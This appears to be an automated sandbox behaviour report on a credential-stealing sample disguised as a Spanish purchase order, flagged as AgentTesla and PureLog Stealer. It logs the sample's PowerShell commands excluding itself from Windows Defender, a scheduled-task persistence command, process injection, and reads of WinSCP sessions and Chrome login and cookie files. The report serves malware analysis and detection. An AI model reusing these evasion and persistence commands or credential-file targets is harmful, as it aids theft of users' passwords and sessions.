Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Memory written: C:\Users\user\Desktop\nOrden_de_compra.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Memory written: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Users\user\Desktop\nOrden_de_compra.exe C:\Users\user\Desktop\nOrden_de_compra.exe	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Users\user\Desktop\nOrden_de_compra.exe C:\Users\user\Desktop\nOrden_de_compra.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpE302.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process created: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Jump to behavior

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Users\user\Desktop\nOrden_de_compra.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Users\user\Desktop\nOrden_de_compra.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3fb4308.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3a78c38.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3f77ae8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3ab5458.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3ab5458.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.3a78c38.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4531607343.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4531554199.0000000002901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nOrden_de_compra.exe PID: 5724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nOrden_de_compra.exe PID: 1460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nNdsLvHyWi.exe PID: 6640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nNdsLvHyWi.exe PID: 1176, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.nOrden_de_compra.exe.71a0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.71a0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.2cde9dc.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3ca9970.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.7160000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.27de9e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.nNdsLvHyWi.exe.27de9e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.2cde9dc.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3ca9970.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.7160000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2116574097.00000000071A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2116474951.0000000007160000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2146832318.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114084999.0000000003CA8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113140924.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
